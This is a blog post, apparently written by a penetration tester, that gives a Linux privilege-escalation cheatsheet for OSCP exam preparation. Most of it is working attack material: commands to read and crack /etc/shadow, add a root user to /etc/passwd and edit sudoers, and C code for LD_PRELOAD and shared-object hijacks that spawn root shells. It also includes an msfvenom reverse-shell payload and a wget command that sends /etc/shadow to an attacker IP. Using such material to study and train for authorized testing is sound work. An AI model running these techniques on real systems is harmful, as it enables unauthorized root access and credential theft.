Linux L33T! - PE Cheatsheet! [OSCP Prep]

Yara AlHumaidan (0xy37)
11 min readJun 24, 2021

One of the things that was hard for me to master during my OSCP preparation is privilege escalation. i didn’t know what to look for, where to start or even what to consider as important information in my privilege escalation technique.

I needed to really invest in this module of the course, and i surly did.

I purchased couple of courses on udemy ( will link them below), did some research, and came up with this cheatsheet.

This cheatsheet is my first “go to” whenever i need to do privilege escalation however, you might have to do some research when nothing works from the below commands.

Initial Enumeration

[+] target Enumeration
uname -a
cat /proc/version
cat /etc/issue
lscpu
ps -aux | grep root
hostname
ls -la /home/$user$
cat /etc/iptables/rules.v4
/etc/iptables/rules.v4
[+] users Enumeration
whoami
id
sudo -l
cd /home/user && find . -type f -ls
cat /etc/passwd
cat /etc/shadow
cat /etc/group
history
sudo su -
[+] Groups Enumeration
find / -group wireshark -ls 2>/dev/null
[+] Netwok Enumeration
ifconfig
ip a
ip route
route
arp -a
ip neigh
netstat -ano
[+] Password Hunting
grep --color=auto -rnw '/' -ie "PASSWORD=" --color=always 2> /dev/null
locate password | more
locate pass | more
locate pw | more
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
cat /var/lib/mysql/strace-log.dat # or any other file .config
cat .htpasswd
[+] Other Checks
getcap -r / 2>/dev/null
cat /etc/exports

Checking for Kernel exploits

uname -a
cat /proc/version
cat /etc/issue
lscpu
hostname

Automated tools for checking Kernel exploits:

DirtyCow:

Checking for Service exploits

Show all processes running as root:

ps aux | grep "^root"

Shows the version number:

<program> --version<program> -v

Show installed programs and their version:

dpkg -l | grep <program>rpm –qa | grep <program>

Exploiting mysql 5.1:

dmysql --versionmysqld Ver 5.1.73-1+deb6u1 for debian-linux-gnu on x86_64 ((Debian))mysql> select do_system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash');/tmp/rootbash -p

Check if there is internal open ports:

netstat -nl

Port forwarding:

ssh -R <local-port>:127.0.0.1:<target-port> <username>@<local-machine>

Checking for Weak File Permissions

Find all writable files in /etc:

find /etc -maxdepth 1 -writable -type f

Find all readable files in /etc:

find /etc -maxdepth 1 -readable -type f

Find all directories which can be written to:

find / -executable -writable -type d 2> /dev/null

Write on Passwd:

-rw-r--rw- 1 root root 1039 Feb 14 07:15 /etc/passwd[+] update the password in /etc/passwd, it takes precedence over the one in /etc/shadow└─#  openssl passwd -1 -salt user3 pass123$1$user3$rAGRVf5p2jYTqtqOW5cPu/└─# user@debian:~$ cat /etc/passwdroot:$1$user3$rAGRVf5p2jYTqtqOW5cPu/:0:0:root:/root:/bin/bash[+] empty second field in /etc/passwd (no password)[+] Create a new account with id 0└─#  openssl passwd -1 -salt user3 pass123$1$user3$rAGRVf5p2jYTqtqOW5cPu/└─# echo "root2:$1$user3$rAGRVf5p2jYTqtqOW5cPu/:0:0:root:/root:/bin/bash" >> /etc/passwd└─#su root2Password: pass123

Read/Write in shadow:

-rw-r--rw- 1 root shadow 837 Aug 25  2019 /etc/shadow[+] Can editmkpasswd  -m sha-512 -S saltsalt -sPassword: pass$6$saltsalt$KN.twvCyfwE67paW76hS2/bacYkY9PxIhxqYG9vL5bZmIwWBGDJ6mu4HlCosKUBfQwVXKXxXVXPcqdwd1Ip0X/- OR -openssl passwd -1 -salt user3 pass123
$1$user3$rAGRVf5p2jYTqtqOW5cPu/
user@debian:~$ cat /etc/shadow
root:$6$saltsalt$KN.twvCyfwE67paW76hS2/bacYkY9PxIhxqYG9vL5bZmIwWBGDJ6mu4HlCosKUBfQwVXKXxXVXPcqdwd1Ip0X/:17298:0:99999:7:::
[+] Can view - Decrypt the passwordunshadow passwd.txt shadow.txt > passwords.txt
john --wordlist=/usr/share/wordlists/sqlmap.txt passwords.txthashcat -m 1800 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/sqlmap.txt -O

Writable /etc/sudoers:

echo "<username> ALL=(ALL:ALL) ALL">>/etc/sudoers

Look for interesting files, especially hidden files:

$ ls -la /home/user
$ ls -la /
$ ls -la /tmp
$ ls -la /var/backups

Look for ssh private key:

find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
$ ls -l /.ssh
total 4
-rw-r--r-- 1 root root 1679 Aug 24 18:57 root_key
$ grep PermitRootLogin /etc/ssh/sshd_config
PermitRootLogin yes
# chmod 600 root_key
# ssh -i root_key root@192.168.1.25

SSH Key Predictable PRNG (Authorized_Keys) Process

(SSH-DSS String from authorized_keys file)

Checking for Sudo

$ sudo su
$ sudo -s
$ sudo -i
$ sudo /bin/bash
$ sudo passwd
$ sudo –u <username> <program>

lxd:

y37@kali:~$ iduid=1000(y37) .. 116(lxd)

Docker:

docker run -v /:/mnt -i -t ubuntu bash$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
redmine latest 0c8429c66e07 7 months ago 542MB
postgres latest adf2b126dda8 7 months ago 313MB
$ docker run -v /:/mnt --rm -it redmine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root)

Shell Escape Sequences Even:

$ sudo -l
...
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
...

Abusing Intended Functionality:

  • apache2 Intended functionality reeading files:
(root) NOPASSWD: /usr/sbin/apache2$ sudo apache2 -f /etc/shadow
Syntax error on line 1 of /etc/shadow:
Invalid command 'root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84O WAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::', perhaps misspelled or defined by a module not included in the server configuration
  • wget Intended functionality getting files
sudo /user/bin/wget --post-file=/etc/shadow 192.168.1.17
nc -lvp 80 > hash

Environment Variables Programs:

$ sudo -l
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
...

Create a file (preload.c) with the following contents:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}

Compile preload.c to preload.so:

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c

Run any allowed program using sudo, while setting the LD_PRELOAD environment variable to the full path:

$ sudo LD_PRELOAD=/tmp/preload.so apache2
# id
uid=0(root) gid=0(root) groups=0(root)

LD_LIBRARY_PATH:

Run ldd against the apache2

(Hijacking shared objects using this method is hit or miss.)

$ ldd /usr/sbin/apache2linux-vdso.so.1 => (0x00007fff063ff000)
...
libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007f7d4199d000)
libdl.so.2 => /lib/libdl.so.2 (0x00007f7d41798000)
libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007f7d41570000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7d42e84000)

Create a file (library_path.c):

#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
$ gcc -o libcrypt.so.1 -shared -fPIC library_path.c

Run apache2 using sudo, while setting the LD_LIBRARY_PATH environment variable to the current path

(where we compiled library_path.c):

$ sudo LD_LIBRARY_PATH=. apache2
# id
uid=0(root) gid=0(root) groups=0(root

Check CVE-2019–14287:

Sudo version 1.8.21p2
User tryhackme may run the following commands on sudo-privesc:
(ALL, !root) NOPASSWD: /bin/bash
y37@kali:~$ sudo -u#-1 /bin/bash
root@kali:~#

Check CVE-2019–14287:

if pwfeedback is enabled ++ and sudo version is earlier than 1.8.26

y37@kali:~$ sudo su
[sudo] password for y37: *******
# cat /etc/sudoers
# This file MUST be edited with the 'visudo' command as root.
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
# See the man page for details on how to write a sudoers file.
# Defaults env_reset,pwfeedback
y37@kali:~$ sudo -V
Sudo version 1.8.21p2

Checking for Cron jobs

Check cron jobs for other users:

www-data@dmv:/var/www/html/tmp$ ./pspy64

View the content of the system-wide crontab:

look for files u can write on

cat /etc/crontab
cat /var/spool/cron/
cat /var/spool/cron/crontabs/

PATH Environment Variable

1. If a cron job program/script does not use an absolute path.

2. One of the PATH directories is writable by our user

$ cat /etc/crontab

PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/
usr/bin
* * * * * root overwrite.sh
Note that the /home/user directory (which we can write to) is at the start of the PATH variable, and the first cron job does not use an absolute path.

Create the file overwrite.sh in /home/user:

#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
$ chmod +x /home/user/overwrite.sh

Wildcards:

$ cat /etc/crontab

* * * * * root /usr/local/bin/compress.sh
$ cat /usr/local/bin/compress.sh
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *

Note that the tar command is run with a wildcard in the /home/user directory.

GTFOBins (https://gtfobins.github.io)

Use msfvenom to create a reverse shell ELF payload:

$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=53 -f elf -o shell.elf
$ chmod +x /home/user/shell.elf

Create two files in the /home/user directory:

$ touch /home/user/ — checkpoint=1
$ touch /home/user/ — checkpoint-action=exec=shell.elf
y37@kali:~$ cat shellroot.sh
#!/bin/bash
cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash
y37@kali:~/backup$ echo "" > "--checkpoint-action=exec=bash shellroot.sh"
y37@kali:~/backup$ echo "" > --checkpoint=1

Checking for SUID / SGID

$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
...
-rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3
...
# searchsploit exim 4.84
...
Exim 4.84-3 - Local Privilege Escalation | exploits/linux/local/39535.sh
$ sed -e "s/^M//" 39535.sh > privesc.sh

Shared Object Injection

By using a program called strace, we can track these system calls and determine whether any shared objects were not found. If we can write to the location the program tries to open, we can create a shared object and spawn a root shell when it is loaded.

$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
...
-rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
...
$ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
...
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)

we have write access to the /home/user. Create the /home/user/.config directory.

Create the file libcalc.c with the following contents:

#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system(“/bin/bash -p”);
}

or

system(“cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash && /tmp/rootbash -p”);

Then execute the below command

$ gcc -shared -fPIC -o /home/user/.config/libcalc.so libcalc.c
$ /usr/local/bin/suid-so
Calculating something, please wait...
bash-4.1# id
uid=0(root) gid=1000(user) egid=50(staff) groups=0(root) ...

PATH Environment Variable:

  • Without a full path

If a program tries to execute another program, but only specifies the program name, rather than its full (absolute) path, the shell will search the PATH directories until it is found.

$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \;
2> /dev/null
...
-rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
...
$ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
...
service apache2 start
$ strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service
[pid 14395] execve("/bin/sh", ["sh", "-c", "service apache2 start"],
...
$ ltrace /usr/local/bin/suid-env 2>&1 | grep service
system("service apache2 start"

The file could be trying to run the service program without a full path.

Create a file service.c with the following contents:

int main() {
setuid(0);
system(“cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash && /tmp/rootbash -p”);
}
$ gcc -o service service.c

Prepend the current directory (or where the new service executable is located) to the PATH variable, and execute the SUID file for a root shell:

y37@debian: export PATH=/tmp:$PATH
y37@debian:/tmp$ /usr/local/bin/suid-env
root@debian:/tmp# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
root@debian:/tmp#

With a full path

Abusing Shell Features (#1)

$ bash — version
GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)

Verify the version of Bash is lower than 4.2–048:

$ strings /usr/local/bin/suid-env2

/usr/sbin/service apache2 start
$ strace -v -f -e execve /usr/local/bin/suid-env2 2>&1 | grep service
[pid 16729] execve(“/bin/sh”, [“sh”, “-c”, “/usr/sbin/service apache2 start”]…
$ ltrace /usr/local/bin/suid-env2 2>&1 | grep service
system(“/usr/sbin/service apache2 start”

Create a Bash function with the name “/usr/sbin/service” and export the function:

$ function /usr/sbin/service { cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash && /tmp/rootbash -p }
$ export –f /usr/sbin/service

With a full path

Abusing Shell Features (#2)

$ strings /usr/local/bin/suid-env2

/usr/sbin/service apache2 start
$ strace -v -f -e execve /usr/local/bin/suid-env2 2>&1 | grep service [pid 16729] execve(“/bin/sh”, [“sh”, “-c”, “/usr/sbin/service apache2 start”]…

Verify the version of Bash is lower than 4.4

The PS4 environment variable is inherited by shells running as root.

$ env -i SHELLOPTS=xtrace PS4=’$(whoami)’ /usr/local/bin/suid-env2$ env -i SHELLOPTS=xtrace PS4=’$(cp /bin/bash /tmp/rootbash; chown root /tmp/rootbash; chmod +s /tmp/rootbash)’ /usr/local/bin/suid-env2$ /tmp/rootbash -prootbash-4.1# id
uid=1000(user)gid=1000(user)euid=0(root)egid=0(root)groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

Escalation via Binary Symlinks CVE-2016–1247

Gentoo is also affected: nginx < 1.10.2-r3

screen-4.5.0

Checking for Passwords & Keys

History files

Check if the user has typed the password through history files (Read all history files)

user@debian:~$ ls -la
total 56
drwxr-xr-x 5 user user 4096 May 26 2020 .
drwxr-xr-x 3 root root 4096 May 15 2017 ..
-rw------- 1 user user 205 Feb 14 04:28 .bash_history
-rw-r--r-- 1 user user 220 May 12 2017 .bash_logout
-rw-r--r-- 1 user user 3235 May 14 2017 .bashrc
drwxr-xr-x 2 user user 4096 May 13 2017 .irssi
drwx------ 2 user user 4096 May 15 2020 .john
-rw------- 1 user user 137 May 15 2017 .lesshst
-rw-r--r-- 1 user user 212 May 15 2017 myvpn.ovpn
-rw------- 1 user user 11 May 15 2020 .nano_history
-rw-r--r-- 1 user user 725 May 13 2017 .profile
drwxr-xr-x 8 user user 4096 May 15 2020 tools
-rw------- 1 user user 5005 May 26 2020 .viminfo
$ cat ~/.*history | less
ls -al
cat .bash_history
ls -al
mysql -h somehost.local -uroot -ppassword123

Config Files

$ cat myvpn.ovpn

auth-user-pass /etc/openvpn/auth.txt

$ cat /etc/openvpn/auth.txt
root
password123

Files containing passwords

grep — color=auto -rnw ‘/’ -ie “PASSWORD” — color=always 2> /dev/null
find . -type f -exec grep -i -I “PASSWORD” {} /dev/null \;

Old passwords in /etc/security/opasswd

/etc/security/opasswd

In memory passwords

strings /dev/mem -n10 | grep -i PASS

Find sensitive files

$ locate password | more
/boot/grub/i386-pc/password.mod
/etc/pam.d/common-password
/etc/pam.d/gdm-password
/etc/pam.d/gdm-password.original
/lib/live/config/0031-root-password

Checking for NFS

Check for no_root_squash option

$ cat /etc/exports

/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)

we can write files to this share as root user over NFS — On attacking machine

$ showmount -e <target IP>
Exports list on 192.168.1.25:
/tmp
# mkdir /tmp/nfs
# mount -o rw,vers=2 192.168.1.25:/tmp /tmp/nfs

Using the root user on your local machine, generate a payload and save it to the mounted share:

# msfvenom -p linux/x86/exec CMD=”/bin/bash -p” -f elf -o /tmp/nfs/shell.elf
# chmod +xs /tmp/nfs/shell.elf

On the target machine, execute the file to get a root shell:

$ /tmp/shell.elf
bash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root)

Checking for Capabilities

Check for all capabilities

root@debian:~# getcap -r / 2>/dev/null
/usr/bin/python2.6 = cap_setuid+ep

Exploit python2.6

y37@debian:~$ /usr/bin/python2.6 -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’
root@debian:~#

Other to check:

[+] Look for Custom Executable

int main() {
setuid(0);
system(“/bin/bash -p”);
}
Compile it using:
$ gcc -o <name> <filename.c>\

[+] pam_motd.sh

www-data@kali:/home/george$ find . -type f -ls
42883 0 -rw-r — r — 1 george george 0 Mar 17 2017 ./.cache/motd.legal-displayed
— exploit — www-data@kali:/dev/shm$ wget 10.10.14.14/pam_motd.sh
www-data@kali:/dev/shm$ bash pam_motd.sh

Automated tools:

There are alot of amazing tools out there, i will list below my fav (and mostly updated), you can use whatever tools your comfurtable with.

Linux Smart Enumeration

LinEnum.sh

LinPEAS

linux-exploit-suggester

Finally, previlige escilation is one of most cretical modules in OSCP, and its very important to practice the above techniqes and understands what to expect and what to look for in the output of the above commands.

Some refrences and courses that really helped:

Linux Privilege Escalation for OSCP & Beyond!

Linux Privilege Escalation for Beginners

Basic Linux Privilege Escalation

book.hacktricks.xyz-linux-privilege-escalation-checklist

PayloadsAllTheThings-Linux — Privilege Escalation.md

--

--

Yara AlHumaidan (0xy37)

Penetration Testing Consultant | OSCP | OSWP | eWAPTXv2 | CRTP